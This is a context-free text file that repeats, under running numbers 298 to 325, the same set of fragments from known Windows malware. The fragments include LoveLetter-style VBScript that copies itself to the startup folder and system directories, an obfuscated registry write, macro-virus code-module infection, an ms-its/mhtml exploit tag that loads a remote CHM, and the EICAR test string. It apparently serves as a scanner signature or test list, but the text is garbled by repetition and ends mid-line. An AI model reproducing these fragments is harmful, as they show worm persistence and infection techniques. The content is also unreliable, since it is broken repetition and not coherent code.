 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

298

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

299

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

300

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

301

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

302

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

303

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

304

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

305

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

306

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

307

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

308

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

309

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

310

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

311

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

312

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

313

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

314

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

315

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

316

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

317

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

318

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

319

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

320

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

321

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

322

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

323

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

324

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

325

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
